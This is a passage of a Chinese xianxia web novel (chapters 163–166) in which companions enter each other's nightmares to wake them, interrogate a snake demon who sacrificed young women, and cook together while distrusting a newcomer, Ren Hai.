唐山玉伸出手在后边抱住了秦兰时,秦兰时背对着他,所以他看不清这个人此时此刻脸上的表情,或许是在哭,或许是空洞的麻木。 不管那是什么样的…… 秦兰时转过头来,他呆呆地看着唐山玉,仿佛有些不敢置信。 唐山玉都会接受。 一个吻落在了对方的唇上,这是这场狂风暴雨里最温柔的雨。 “别哭了……还有……”唐山玉笑容温和地指了指那块墓碑,“把它推了成不,这不吉利。” 秦兰时没回话,他就那么看着唐山玉,这场雨没有模糊掉他的视线,所以墓碑上的名字,和眼前人的模样,他都看得一清二楚。 “…不,还不够。”秦兰时沉着声音开口道。 “…?”那你还想要啥? 还没等唐山玉问出来,他就感觉到一股大力把自己往墓碑上推去,后背撞上了那冰冷的墓碑,整个人也因为这个力度也摔倒在了地上。 唐山玉都没回过神来,秦兰时就已经坐在了唐山玉的腿上。 唐山玉:…… 他侧头瞥了一眼后边的墓碑,又看了一眼前面突然贴近过来的秦兰时,并且已经开始将身上的热量往他身上传输。 “…师父,真要玩那么刺激吗?”唐山玉觉得这play实在是刺激得让人无话可说。 不对啊,神识也能…也能这样吗?这算是神交吗?不对,他不是入梦吗?这合理吗? 冰冷的雨水依旧敲打着俩人的脸上,唐山玉分不清那张布满雨水的脸是不是在流泪,但这个人的吻和狂风暴雨一样凶猛。 浑身湿答答的,衣服紧紧贴着俩人的躯体上,秦兰时勾住唐山玉的脖子,坐在上面,不容人抗拒,这抹温热比外边的冰冷感觉要好些许。 “……哈啊,真的,你……”唐山玉无奈地发出一声舒服的闷哼,藤蔓渐渐顺着墓碑往上爬,就那么缠绕在了一起。 甘愿落入泥里的雨,无法忽视的混乱呼吸。 包裹起来,渐渐升温。 事终了,唐山玉给俩人整理好了衣服,顺便抬起手,给了秦兰时脑袋一巴掌。 “呃?!”秦兰时被拍得猝不及防。 “爽完了该醒了。”唐山玉毫不客气地拉起人的手,带着他往山下走去,走了几步,他想起了什么,重新走回那个墓碑面前。 只见唐山玉抬起脚,非常猛地把这个墓碑给一脚踹倒了,随着那写着唐山玉的墓碑倒下后,秦兰时的梦境也开始崩塌。 “下次,你要自己来,知道吗?” 秦兰时听到这话,沉默了片刻,随后点了点头,“好,我会自己来。” “我答应过你的。” 第163章 冰天雪地 秦兰时的噩梦是狂风暴雨。 那么慕轻轻的噩梦是无边无际的冰天雪地。 石泽竹走在这块白色幕布中,他迷失了方向,也找不到人,因为是神识入梦的缘故,所以他也能切实体会到梦中的寒冷。 他感觉到自己的手和脚仿佛都不是自己的了,要不是自己的体修的毅力非凡,或许早就倒在这片白色冰原里。 虽然不知道死在别人的梦境里会怎么样,但是石泽竹本能地觉得这应该不太妙。 所以石泽竹依旧迷茫地往前走,太冷了他就锻炼,锻炼完后身子会有片刻回暖,最后,他发现这么下去也不是个事儿。 于是他选择大喊大叫。 也不知道石泽竹用了多少功力,他对着远处白茫茫一片的雪原里喊道,“慕轻轻!!!” “慕轻轻!!!” 突然,不知道哪里传来的回音让石泽竹愣了一下,什么这里原来不是广阔的地面,原来是洞穴吗? 太白了,石泽竹没看清。 虽然知道这是洞里头,可这个洞太大了,石泽竹还是找不到人。 “慕轻轻!!你在哪里!!”石泽竹继续喊着,可是没有人回应他,正走着时,他突然背后生起一股寒意,仿佛有什么东西在某处注视着他。 石泽竹猛地转过头去,他看到远处的白茫茫一片里闪烁着诡异的光,他不由得咽了一下口水,“轻轻?是你吗?你是不是又想吓我?” 没有回应。 石泽竹选择往那边走去,走近后,他不由自主地抬起头,看着眼前的庞然大物,这里盘着一条龙,龙通体呈现白色,像一块漂亮的玉,又或者像一块巨大的冰雕。 这条白龙一动不动的,可石泽竹能够确定方才的视线是来自于它。 “…轻轻?”石泽竹试探性地开口道,他知道慕轻轻是龙族的事情,是在出海前的那天晚上,那天晚上慕轻轻和他们说了这件事,除了他,其他人都没有表现出吃惊的表情。 “这次你们要不要去我的故乡看看?”少女调皮地拿起一壶酒,翘着二郎腿,仰起头,酒壶微微倾斜,甜美的果酒就那么缓缓流入了她的口中。 “你的故乡?” “之前不是有提过吗?在卧吟海那里,那里的龙族可多了,到时候我带你们去吃特产呀?”慕轻轻说到故乡,眼睛就亮亮的,别提有多开心了。 “特产……”石泽竹脑子缓慢转动着,“有什么?” “那当然是这边很难见到的~”慕轻轻说起这事就留了几分神秘,石泽竹也就没有继续问,他继续喝着杯子里的酒,心里琢磨着海那边的酒是不是会有点不一样。 白龙吐出的龙息似乎想要将人赶走,因为那龙息形成了急切的风,迅速地吹向了石泽竹所站的位置。 石泽竹抵挡住了这狂风,只不过这狂风里的寒气直逼体内,这让他想起入梦之前的疑惑。 慕轻轻的属性是冰,所以就算触碰到寒气她也不会冷,可为什么,石泽竹在进入梦境之前,他听到慕轻轻颤抖的唇齿流露出的那一句: 好冷。 梦境和她所言的那样,的确很冷。 石泽竹在风离去后,这才迈动着双腿缓慢往前走,他这个人,确实笨笨的,但是也知道现在这种情况,不能往后退。 “轻轻,你,是不是该醒过来了。”是的,这是他的目的。 白龙轻蔑地看了过来,她看着这个无畏的人类,居然直接敢无视她愤怒,继续往这里走过来。 “轻轻。”石泽竹就那么继续往前走,他的脸上丝毫没有畏惧之意。 白龙在那一刻有些怒了,只见她支起半边身子,冲着石泽竹的那个方向怒吼着,“出去!!!” 石泽竹又被呼了一口大风。 他擦了擦自己的脸,又挠了挠头,头发已经被吹得乱糟糟了,不过石泽竹却不是很在意,他冲着那条白龙嘿嘿一笑。 白龙:……? 只见石泽竹一个发力,就迈开脚步,冲到了白龙面前,他伸出手摸了摸这龙头,龙头因为被摸而有些不满。 “轻轻,我们回去吧。”石泽竹继续笑着,笑得傻极了,仿佛旁人怎么说他,他都会像傻子一样笑。 白龙:…… “真是无礼的人类啊。”只见一抹白光晃去,白龙已然不见,留下来的是一个漂浮在空中的小姑娘,她散着发,光着脚,浑身上下就披了一件白布,一对小龙角,一条大尾巴在身后晃啊晃。 “……轻轻,你不记得我了吗,是我,石头啊。”说着,石泽竹就打算扮演一块石头给慕轻轻看。 慕轻轻有些不解地哈一声,“哈?” “我怎么会记得一个人类的名字,算了,既然你来了,那就来服侍我吧,正好这个破地方待着闷得慌。”慕轻轻很是高傲地抬起下巴,“过来,我要奴役你。” 石泽竹:…… 他开始认真思考这个话语的意思,思考完毕后,他就走过去把漂浮的慕轻轻抱起来,举到了自己的肩膀上。 慕轻轻没想到石泽竹居然有这个举动,刚想说区区人类凭什么碰她,可就在她落在石泽竹肩膀上的那一刻,她感觉到了一阵风,扑面而来。 原来是石泽竹带着慕轻轻从那头跑到了这头,又从地上跑到了天上,整个过程慕轻轻仿佛坐了好几趟过山车一样,迅速又晕乎。 “……你在!做什么啊!”慕轻轻在石泽竹停下来的时候,就举起拳头狠狠地打在石泽竹的脑袋上,整个人看上去被吓得不轻。 “…你不是要奴役我吗?” “对啊!” “龙族飞行速度很快对吧。” “那当然~” “所以我只是在扮演牛马,山玉说了,他之前也当过牛马,他说一个合格的牛马要任劳任怨,虽然我不知道为什么当牛马还有要求……”石泽竹站稳后,就呼出一口气,其实他还没累,毕竟平时体修训练时候扛的东西可比慕轻轻重多了。 “我是你的牛马,你刚刚奴役了我。”石泽竹一本正经地说着这句话。 慕轻轻:…… 她感觉自己在面对一个傻子,她说的奴役可不是这个意思啊。 就在慕轻轻要因此而大怒一次的时候,石泽竹又开口了,“快速运动过后就不冷了,你现在还冷吗?” “……”慕轻轻沉默了一下,就一下下,随后她别过头去,“不冷,我才没有觉得很冷。” “啊,冷要记得说啊。” “……呆子,把我放下来。”慕轻轻很是无奈地揪住石泽竹的一撮毛发。 听到熟悉的称呼后,石泽竹果断地把人放下来,在放下来的那一刻,他看到慕轻轻变回了少女的模样,衣服也穿戴整齐了。 “轻轻,你这是想起来了?” “…呃嗯,算是吧,寒毒难防啊寒毒,我这体质最能吸收寒气,方才我自己吸得很是彻底。”慕轻轻扭了扭手腕,打了个哈欠,“也是故地重游了。” “这里是哪里?”之前的慕轻轻不会回答,所以石泽竹就没有问。 “…嗯,怎么说呢。”慕轻轻稍微思考了一下,或许她在考虑要不要说,“这里的话,是我之前受罚的地方。” “…啊?受,受罚?”石泽竹开始结巴了。 “…我不是一开始那么能受的住寒气的,就算是冰灵根,灵根受的住,可身体受不住,所以呢,我家里人会用特殊的法子来让我适应寒气。” “但是这个特殊的法子并不是把我丢在这种冰天雪地里让我自生自灭……具体我就不多说了。”慕轻轻转过身来,看着石泽竹,“说吧,我要怎么醒过来?” “…打,打一拳?”石泽竹举起了自己的拳头。 “你认真的吗?”慕轻轻看着那个沙包大的拳头,露出了质疑的表情,“我觉得一把火把这些烧了应该也能醒过来。” “…啊,如果是山玉过来就好了。”石泽竹虽然学过火系法术,可他觉得这种情况下应该是唐山玉过来会比较靠谱一点。 “那你不用火,用拳头呗?”慕轻轻指了指这四周,“这里,是个洞,把这里毁掉了,应该就差不多了。” “还能这样吗?” “…人类,不要得寸进尺。”不要老是否定自己。 石泽竹点了点头,“哦,好。” 总之,石泽竹挥动着拳头开始牛马干活,不得不说解放双手的石泽竹破坏力极强,慕轻轻可以看到逐渐碎掉的梦境,还有…… 她转过头去,看向了自己曾经盘着的地方,因为太冷了,所以才盘着。 记忆里的小女孩正有些无助地拉着一位女人的衣裙,她流着眼泪,嘴里的话语混乱无比。 “母亲,我做错什么了吗?为什么你要这样看着我?” “母亲……?母亲,你为什么要失望?我这样,做得不对吗?” “…本来就是这样啊,本来就是这样啊,你为什么要为了几只虫子而伤心?” “………母亲?” …… “我知道错了。” 第164章 这样也好 “一只,两只,三只……”胡长乐蹲在地上,数着脚边爬过去的蚂蚁,夏日的热量撒了她满头,这让穿着小吊带的她流了不少汗。 “长乐,好了吗?我们要回家了哦。”远处的女人笑嘻嘻地喊道,她沐浴在阳光里,而胡长乐蹲在了树荫下。 胡长乐站了起来,可她没有率先走过去,而是转过头来,看向了出现在她身后的谢璟。 “…怎么是你过来?”胡长乐有些惊讶,她站在原地不动,看着这位她有些熟悉又不是很熟悉的谢璟。 “嗯,入梦一次会比较费神,所以山玉他们在回来后就休息了。”谢璟走过去,他侧头看着这里的农田,和远处的渺渺炊烟。 “…不是都是做噩梦吗?为什么你这个梦……”谢璟觉得这里的气氛和他的噩梦气氛不太一样,他的噩梦是黑色,是艳红的血,可胡长乐的噩梦却是温暖的骄阳,缓缓不急的微风。 “啊,这个啊,这对我来说,是噩梦啊。”胡长乐站起来,此时此刻的她是个小姑娘的模样,如果说慕轻轻是分不清现实的沉沦,那么胡长乐是清楚这一切都是梦,却甘愿深陷其中。 “因为我想他们,所以这是噩梦。”胡长乐看着远处招呼着她过去的父母,她也冲那边挥了挥手,“谢公子,你也有父母吧?” 还不等谢璟回答,胡长乐又自顾自地说,“啊对,你应该是有的,不然你是怎么存在的呢。” “……”谢璟看了看远处那些没有见过的房子,又看了看那有些奇异的车,这里的一切都是那么新奇。 “怎么样?非常新奇吧?”胡长乐笑着看他,她冲着谢璟挥了挥手招呼道,“既然你来了,要不要顺便和我一起回去?” “回去?我是来带你回去的,我没打算……” “啊,爸妈在喊我上车了,你也过来吧,他们看不见你的。”胡长乐开心地走过去,明明这对她来说应该是噩梦才对,可这明明是一场美梦。 谢璟跟了上去,在他凑近那对父母的时候,他有些惊讶地发现这对父母的面容有些扭曲不定,似乎是做梦者在认真描绘他们的容貌,可是怎么描绘都不太满意。 “来,坐这里。”胡长乐拍了拍旁边的座位,这是一辆乡下常见的三轮车,而她坐在后边,戴着一顶小草帽,感受着此时的惬意。 谢璟坐下来了,他手上还拿着剑,整个人表现得极为警惕。 “放松放松啦。”胡长乐哈哈一笑,随后冲着在前面开车的父母喊了一声,“爸妈!我想要吃冰淇淋!” “可不能吃太多哦。”妈妈听到这话,提醒道。 “哎呀,知道了知道了。”胡长乐笑嘻嘻地伸手压了压小草帽。 谢璟没有说话,但是身体是逐渐放松下来了。 “…冰淇淋。”突然,他像是想到了什么,出声道。 “哦,对,你不知道冰淇淋。”胡长乐听到这话打算和谢璟解释一下。 “…不,我知道,山玉之前有和我说过。”谢璟想起了某个人大热天和他抱怨的话,一开始没有想起来,是因为相隔时间太远了,而之所以记住,是因为那是一个从未听到过的词语。 “啊,原来唐哥和你说过啊,不过那应该是很久之前的事情了吧?”胡长乐听到这话,愣了一下,随后也明白了什么,三轮车摇摇晃晃地往前走,他们距离村子也越来越近了。 很快,胡长乐就带着人来到了便利店门口,她要了两个冰淇淋,一个她的,一个谢璟的,她把冰淇淋递到了谢璟手里。 “来,吃吃看,咱们现代特产,修仙界可没有哦。”说完,胡长乐就自己先吃了。 “……”谢璟试探性地咬了一口,这一口就把他的嘴给冰到了,他捂住嘴,皱起眉头,但是其中的甜味渐渐顺着喉咙滑入。 “噗嗤,哈哈哈…你不要咬,用舌头舔就行了。”胡长乐见谢璟这样,不由得笑了出来。 谢璟承受了来自胡长乐的笑容,他沉默了一下,就开始舔起了冰淇淋,不得不说,还挺好吃的。 “好吃吧?” 谢璟点了点头。 “可惜我已经好久没有吃到了。”胡长乐说着,叹了口气。 谢璟不知道该如何回答这句话,说实在,他和胡长乐也不是很熟,但是也不会非常陌生,毕竟他们还在同一个山头上住着呢。 “…你应该猜到了吧,其实这也不是很难猜,关于我和唐哥他们来自同一个故乡的事情,大家应该都心照不宣。”胡长乐说完这句话,冰淇淋也吃完了,她舔了舔嘴角的残余冰淇淋。 “…嗯。”谢璟也吃完了冰淇淋,他跟着胡长乐一起把那包装纸丢进了不远处的垃圾桶里。 “……哎。”胡长乐又是长长叹了口气,“我总感觉只有我一个人在烦恼这件事啊。” “…什么事?”谢璟觉得这人仿佛在等着他问出这句话。 “就是,我总觉得好像就我一个人在怀念故乡一样,唐哥…还有秦…长老他们好像已经彻底融入了这里。”说着,胡长乐头一次露出了苦笑,“而我,还没有融入其中。” “……山玉他,应该也是怀念故乡的。”谢璟努力想了想,但是想不出多少,毕竟唐山玉很少提及之前的事情。 就连顾延清,从秦兰时的话语里,也很少得出那个故乡的信息,俩人似乎都在故意回避,又或者只是单纯觉得说了没用? “是这样吗?”胡长乐听到这话,也不知有没有被这句话安慰到,她又像个活了好几百岁老人那样长长叹了口气,“算了,也不是很重要,麻烦谢公子带我出去吧。” “……那么我需要毁掉这里。” “……” “要给你时间吗?” 胡长乐沉默了一会儿,随后,只见她轻轻摇了摇头,“不了……” 说着,她语气顿了顿,再次坚定地道。 “不用了。” 谢璟本来也不是什么容易照顾别人心情的好人,他听到胡长乐这句话,就拔出剑重新把这些毁了个遍就带人离开。 可不知怎么的,他拔出剑后迟迟没有动作,胡长乐有些疑惑地看了过去,“怎么了?” “去告个别吧,就算是假的,在离开的时候也要好好告别。”谢璟重新将剑插回了剑鞘。 “…什么?”胡长乐看上去比之前都要意外,不如说她没想到谢璟会说出这句话。 “…我等你做好想做的事情再说。”谢璟难得很有耐心地重复了一遍他的意思。 “……原来你还是个温柔的人?”胡长乐看着人那张冷酷无情的脸好一会儿才出声问道。 “…我不能是吗?”谢璟应该不是很心虚地反驳一句。 “看着不像。”胡长乐回答得特别实诚。 “……没能像山玉一样温柔真是十分抱歉啊。”谢璟偏过头去。 “哈哈…那你刚才是和唐哥学的吗?”胡长乐笑眯眯地歪了歪头。 “……”谢璟没回答,不过适当的沉默已经出卖了他。 “好啦,谢谢你,那我去和爸妈告别了。”胡长乐冲人挥了挥手,一蹦一跳地往那辆破旧的三轮车跑去。 谢璟看着她离去的身影,缓缓松口气,他抬起头,伸出手去接住这个梦境此时此刻明媚无比的阳光。 温柔吗? 或许吧。 之前慕轻轻和盛知许似乎就说过类似的话,说他整个人看上去有点像修身养性了,简单来说就是变得平和了不少。 …… 或许这样一直下去,也不错? 第165章 有情况 在谢璟看来,唐山玉是个怎么样的人呢? 哦,可能形象没那么好,但是也没那么坏,中规中矩吧。 谢璟觉得唐山玉有时候非常爱多管闲事,本来他是没打算和人有更深层次的交流的,只是,人自己凑上来,他能有什么办法。 一开始只是练剑,后边渐渐开始有所交流,再后来,俩人变成了能够上下学的关系,虽然中间加了个石泽竹。 再再往后,因为某件事情,俩人的关系应该是拉近了不少,这是在谢璟还是十几岁发生的事情,年少的他比旁人都要带刺,所以性子原因,这让他惹到了几个修为高的弟子。 这些弟子虽然不是亲传,但是他们对谢璟这个亲传弟子身份表示不满,更让人无语的是,其中有一个是因为自己喜欢的姑娘对谢璟有意思才对谢璟发难的。 这种行为,在谢璟看来,让人非常无语,他发自内心的看不起这些人…… 然后他就被这些人给堵路上了。 因为修为不够高,还挨了两拳,但是一生要强的谢璟就算被人打趴下,也依旧是那种在座的各位都是蝼蚁的眼神。 这眼神可就激得那几人更加生气了,只见他们似乎下定了某个主意,其中一个揪起谢璟的衣领子,似乎打算干坏事。 可他坏事还没干呢,谢璟就听到远处的一声叫喊,“先生,就是他们,他们在这里欺负低修为弟子。” 那几个弟子听到这声音后,连忙丢下谢璟然后纷纷像笼子放鸡那样往四处逃窜,谢璟坐在地上,他对这个声音很是熟悉,毕竟是一起上下学的关系,再不熟悉就太冷酷了。 “…你怎么来了。”谢璟看着从暗处走出来的唐山玉。 “我来救你啊。”唐山玉一副你这也要问的表情。 “……我不用你救。”一生要强的谢璟拍了拍衣服上的灰尘就站起来,他身上虽然有伤,但是取些伤药敷一下就能够好了。 “……真冷酷啊,果然是那种小说里的偏执攻呢。”后边的话,谢璟没有听清,他只以为唐山玉在抱怨他。 抱怨也是正常的,反正他也不指望能和人当朋友。 …没指望过。 心里是那么想的,但是这个在他面前挥着拳头,打人的模样凶猛得像深山里跑出来的发疯山鸡的是谁? “…你怎么又过来了?”谢璟感觉自己的左手臂应该是被人折断了,此时此刻他身上也有不少的伤,但是他的对手被他咬下了一只耳朵,戳瞎了一只眼睛。 “来打架练练手,绝对不是为了你,你可以放心了。”唐山玉甩了甩手上的血,瞥了一眼浑身是伤的谢璟,就看了一眼他的脑袋就被人在后边拿棍子打了一下。 谢璟:…… 唐山玉转身就是一个上勾拳,用那满是血的脸。 谢璟看着这情况,决定先打完再问问题比较好,于是他转身给了后边的人一个右飞踢。 等战况结束后,俩人也都气喘吁吁了,他们互相对视了一眼,又别过头去,当然先别过头的是谢璟,唐山玉一脸无所谓的模样。 最后……明月初上枝头,林子里静无声,唐山玉见谢璟特别要强地站在原地,一动不动的,而且他有家训,不能太晚回去,所以唐山玉决定先走一步。 “那我先走了。”说完,唐山玉毫不留恋地准备起跑回去。 “……谢谢。” 唐山玉的起跑动作一顿,他没有回话,不如说,停顿只是一刹那,实际上他的人已经飞窜了出去。 总之,唐山玉跑走了,越来越远的身影也没有要跑回来的趋势。 自那后,俩人关系应该是好了不少。 应该吧……? 谢璟睁开眼,然后他发现唐山玉就在不远处看着他和胡长乐,此时此刻胡长乐在他旁边伸了个懒腰。 任海则在远一点的地方和秦兰时一起问那个蛇殿下话。 慕轻轻和石泽竹则是站在唐山玉旁边,和唐山玉一样往谢璟这边看过来。 慕轻轻扑了过来,然后扑在了胡长乐的身上,她抱住胡长乐亲切地蹭了蹭,“没事就好了,噩梦什么的我们全都忘掉吧~” 胡长乐感受着这份柔软,脸蛋一红,随后也伸出手回抱了过去,“呃,好。” 两个女孩子在亲热贴贴,旁边的三个男人在面面相觑,最后,石泽竹啊了一声,对谢璟张开了双臂,热情地邀请谢璟入怀。 谢璟:…… 他果断地拒绝了。 总之他们重新围到了蛇殿下那边,看着狼狈的蛇殿下,这个蛇殿下被人盖了布,所以没有在裸奔,这让妈妈心态的唐山玉大松一口气。 “有问出什么吗?”唐山玉松口气的同时也不忘记问问题。 “有一点,这个家伙是个神经病。”秦兰时面无表情地回答道。 “他说要献祭一名龙族,从而帮助他化龙,所以他看到慕小友才会那么兴奋。”任海在旁边仔细解释道。 慕轻轻现在已经不意外任海知道她身份了,反正早就暴露了,那就暴露得更彻底吧,所以她轻轻皱眉,“原来是这样,好吧,我们龙族的确不是很能容忍自己的种族被虫子给污蔑。” 所以用“殿下”这个称呼,再加上这个“殿下”干的事情,足以让路过龙愤怒,从而去寻找幕后妖。 “所以这里有献祭的阵法吗?”谢璟看了一眼周围,他没有察觉到阵法的痕迹。 “他好像还没画完,他说了打算把慕小轻抓住后,先养养,等养肥再吃。”秦兰时说话一向是好听的,说得慕轻轻像一只待宰的鸡。 慕轻轻对此欲言又止,最后什么都没说。 “那之前送过来的姑娘们呢?”唐山玉虽然心里没什么希望,但是还是问了出来。 “被他吃了,说这个也是献祭的一部分。”秦兰时说着叹了口气,然后踢了那条蛇一脚。 “真是胡扯。”唐山玉显然有些怒气了。 “还有吗?”胡长乐搓了搓手臂,她有点想回去了。 “……嗯,这个啊。”秦兰时看向了慕轻轻。 任海也跟着看了过去。 唐山玉等人不明所以但是也跟着看过来。 慕轻轻突然被迫瞩目,她难得有几分拘谨,“…什么事是和我有关的?” “…那些帮他搜集少女的家伙们的老大,似乎之前和龙族也有过类似的交易,当然,不是现在这个蛇殿下,似乎对方是真的龙族。”秦兰时组织着语言开口道,他一边说一边侧头看着唐山玉的意思。 “也就是说,这个老大之所以干得那么得心应手,就是因为他曾经在其他地方也干过类似的事情,甚至压根没有怀疑过要求他帮忙搜集雌性的龙族是假货。”任海说话就直白多了,他似乎看不到慕轻轻那越来越黑的脸色。 “……”慕轻轻没有回答,显然她在疯狂脑风暴,她努力去回想会干这种事情的人到底是谁,当然,如果这是任海单方面说的,她只会表现得极为不在乎,因为对方说的极有可能是假的,可说的人里头多了个秦兰时。 任海的话会让她彻底不相信,可秦兰时的话她是相信的。 要问为什么。 因为任海目前来看,对她表现出了极为浓郁的敌意,就好像她…不,他们龙族,欠了他什么一样。 所以对她有敌意的家伙的里头的话有几分信任,非常难说。 “……我们……”就在这个时候,胡长乐非常虚脱地举起了手,“能不能先出去……?” 她刚刚经历了扭曲大迷宫,翻转动迷宫,还有入梦出梦的眩晕感,整个人都要不好了。 好想吐。 好想吐好想吐好想吐…… 说吐就吐,胡长乐扶着旁边的墙壁,吐出了一串彩虹,她听到了唐山玉的关心声,还有石泽竹慌乱翻找东西的声音。 “吃一下这个吧,会好很多。”突然,一只手递来了一个小药瓶。 “啊,谢谢……”胡长乐抬起头,对着递药瓶的人虚脱一笑,正想伸手去拿的时候……她愣住了。 给她递药瓶的是任海,那个唐山玉在私底下让她提防过的任海。 任海的身高比石泽竹还要高,但是胡长乐在他身上感受到了和石泽竹不一样的感觉,如果说石泽竹是那种靠谱的大松树,任海是那种高得让人发慌,并且遮住日月的参天大树。 总之,胡长乐愣住了。 唐山玉也愣住了,石泽竹跟着愣住了,秦兰时看了看空空如也的身边,也愣住了,准备发话的慕轻轻也愣住了。 谢璟…谢璟他皱了皱眉。 “不吃吗?吃了会好一点。”任海见人不接,就把药瓶塞到了胡长乐的手里。 “……谢谢。”胡长乐绷着脸,转头去看唐山玉,见唐山玉和她点点头,她才把药瓶打开,倒出里面的药,吃了一颗。 药是甜的,不苦。 “我家姑娘特别不喜欢吃苦药,所以我就经常在弄药丸的时候加多些甜味药草,来中和一下药味。”任海见胡长乐吃下去后,就温和地笑了笑,他重新走回了秦兰时身边。 “我们要不还是先出去吧?你们家的小姑娘好像不太舒服呢?”任海指了指出口的方向,“再说了,在这个遗骸里头,有什么好待的。” 这里真是遗骸啊。 胡长乐:…… 她感觉此时此刻敏感的自己又想吐了,于是她急急忙忙又吃了一颗药。 不管怎么样,这个事情似乎告一段落,并且在以陶意和自己的父亲陶容正抱在一起结束。 陶意拿出手帕擦去陶容正的眼泪,果然父亲和母亲说的一样爱哭,她那么想着,就再次抱了上去,“爹,没事了,已经没事了。” 男子汉有泪不轻弹,可是,又不是说男子汉不能哭啊。 任海对此有话说,“男子汉不要扭扭捏捏的,要哭就大声的哭,要笑就要大声笑,哭得比雨大,笑得比天灿。” 不然的话…… 就比不过这该死的天啊。 …… “所以,为什么他会和我们在同一艘灵舟里?”慕轻轻脸色阴沉地看着秦兰时,而秦兰时转头看向了唐山玉。 唐山玉对秦兰时看过来的目光表示自己也不知道,然后他转头看向了谢璟。 谢璟沉默了一下,就转头看向了石泽竹。 石泽竹愣了一下,跟随大众的脚步,转头看向了胡长乐。 胡长乐觉得自己为什么要遭这个罪,于是她转头看向了罪魁祸首任海。 任海接受到轮过来的目光后,嘿嘿一笑,他挠了挠头,有些不好意思地道,“那什么,我是因为灵舟坏了才在那个岛上逗留的,所以你们能不能捎我一程?” 第166章 鱼 美丽的鱼,在砧板上活泼跳跃,啊~好美丽的鱼,它身上掉落的鱼鳞在阳光下闪闪发光,一只大手抓住了它。 它跳,他抓,它插翅难飞。 鱼眼缓缓流下了眼泪。 难道它的旅途就要到此为止了吗? 鱼觉得天在与它开玩笑,怎么能给了它希望又给了它绝望。 愤怒在它的胸腔里燃烧,面对着闪烁着寒光的刀刃,它绝不屈服,它的意志会永远……永远…… 啪。 鱼的意志消散了。 任海将于晕死的鱼熟练地刮起鳞片,一边刮一边吐槽道,“这鱼还挺会跳,差点就跳出桌子了。” 在一旁打着下手的胡长乐看着围着围裙的任海,那厚大的肩膀,那结实的肌肉,绑着和他体型不合的围裙,她默默咽了一下口水。 “小乐啊,菜洗好了吗?”任海的声音让胡长乐拉回了思绪,胡长乐回过神来,连忙把洗好的菜装进了篮子里。 “洗好了。”胡长乐说着,就把菜递过去,然后盯着任海做饭。 而秦兰时则是在旁边起锅烧油,他此时此刻扎了个高高的马尾,避免头发散下来碰到饭菜。 “你很擅长做鱼啊?”秦兰时看着锅,突然开口问了那么一句。 “因为我是海边长大的嘛。”任海乐呵呵地将鱼处理干净。 俩人互相打了几声哈哈,又开始做起了各自的饭菜,与此同时,秦兰时也拿起了一条鱼。 而在那之前,在任海提出他要帮忙做饭的时候,慕轻轻有一瞬间阴沉了脸,谢璟微微皱起眉,秦兰时和唐山玉俩人都有些惊讶,胡长乐和石泽竹则一起呆呆地歪了歪头。 为什么最后还是让任海帮忙做了呢。 这就要从任海非常热情地出示了他的高级厨修证明开始说起,证明一出,瞬间让大伙们的眼里都流露出对美食的渴望,而且这个证明还是最高级那种。 不过,秦兰时对此只是挑了挑眉,无他,因为他也有这个,但是这个事没多少人知道,因为他平时懒得做饭。 而慕轻轻看到那个证明只是撇了一下嘴,但是站在她旁边的石泽竹则是有些期待开口道,“真的吗?任前辈,我还没吃过甲等厨修做的饭菜呢!因为那些菜很贵!” 说完,石泽竹就觉得自己的肚子开始饿了。 “…就算是这样……”慕轻轻吃过,所以她也因此回忆起那份美味,但是她依旧坚守战线,可她的话还没说完就被打断了。 “嗯,好啊。”只见一旁的唐山玉拍了拍手,亲切地笑道,“没想到任前辈居然那么厉害,我们都不知道呢,既然前辈这般热情想要与我们搞好关系,那么我们自然愿意。” 秦兰时缓缓地抱起了双臂,慢吞吞地瞥了一眼任海。 而在那边的任海闻言爽朗一笑,挽起袖子,露出自己健壮的二头肌,他看上去做好入厨房的准备了。 “山……”谢璟在旁边似乎想要说什么,但是却被秦兰时拍了拍肩膀止住了话头。 谢璟转过头去,他看到了秦兰时意味不明的笑容,不过他和秦兰时没什么默契,在这个笑容里他看不出什么东西,所以他决定把目光投向了在那边的唐山玉。 唐山玉感受到了熟悉的目光,他先是看过去,刚想暗示谢璟什么的时候,他就看到了秦兰时那突然变得凶狠眼神,这个眼神对着想要和他眼神交流的谢璟。 唐山玉:…… 不用想都知道此时此刻秦兰时心里的戏份是:你们居然已经是可以“眉来眼去”的关系了啊,真好啊,真好啊,我真的没有在嫉妒呢。 唐山玉觉得他们没有在眉来眼去,但是奈何醋不能乱喝,所以能不喝就不要喝。 还有…… 谢璟,你往后看看啊。 你平时不是挺敏感一个人吗? 怎么这样的视线都察觉不到啊喂!! 谢璟似乎意识到了什么转头了,接着,他就看到了笑容慈祥的秦兰时。 “怎么了?师侄?”秦兰时的语气温和无比。 “…没有。”错觉吧,这可是师父的师弟。 谢璟重新看了回来,下一秒,秦兰时的笑容就立马收起,他的眼神继续凶狠,如果眼神可以化作刀子,唐山玉觉得谢璟身上应该是扎了好几刀。 不管怎么样,此时此刻,都不是谈话的好时机,所以唐山玉选择无视,最后的结果是秦兰时和任海一起去做饭,并且让胡长乐过去帮忙打下手。 做饭是秦兰时是主动提出来的,说出这话的时候,没有吃过他饭的人都会留给他一个怀疑的眼神。 不过在提出后,唐山玉有些惊讶地看过来,无他,因为秦兰时一般都懒得做饭的。 对于秦兰时的加入,任海自然热烈欢迎,他是真的想和这群人好好相处的。 而接下来,唐山玉和其他人则是一起布置吃饭的地方,顺便洗洗碗筷,这些工作比做饭轻松,因为可以用法术。 在干完活后,唐山玉就看了一眼在和石泽竹聊天的慕轻轻,就悄咪咪拉过了在旁边同样干完活的谢璟,谢璟也跟着悄咪咪地溜出去。 出去后,唐山玉的第一句话是:“你认识任海?” 可谓是把人前恭恭敬敬任前辈,人后直呼人家任海表现得淋漓至尽。 谢璟先是摇了摇头,然后又点了点头,这意味不明的态度让唐山玉真想拿起个板砖拍人头上,阻止这个人的谜语人行为。 “一开始是不认识的。”谢璟组织了一下语言,随后继续解释道,“但是他给我的感觉很怪,有一种莫名的熟悉感,但是这种熟悉感很难解释。” “难不成他是你爹的哥哥的表哥的舅舅的姐姐的大伯的表弟那边的远房亲戚吗?” 谢璟:? “我爹没有那么多亲戚,我娘倒有可能,但是我觉得应该不是那边,不然我会要求你师父杀了他的。”谢璟一脸冷漠地接下这个诡异的话头。 “…为什么不是你自己杀?”关他家兰时什么事啊。 “因为我打不过。”坦诚,是一种美好的品德。 “…总之你也说不出来有哪里不对劲,你只是靠直觉认为任海有点不对劲。”唐山玉叹了口气,准备去厨房那边看看情况。 谢璟点了点头,又摇了摇头。 唐山玉:…… 忍住,要忍住。 就这样生气真是太失礼了。 这会显得他心态太不平和了。 “解释。” “他似乎对我的剑很感兴趣。”谢璟想起时不时看着他那把剑的任海,开口道。 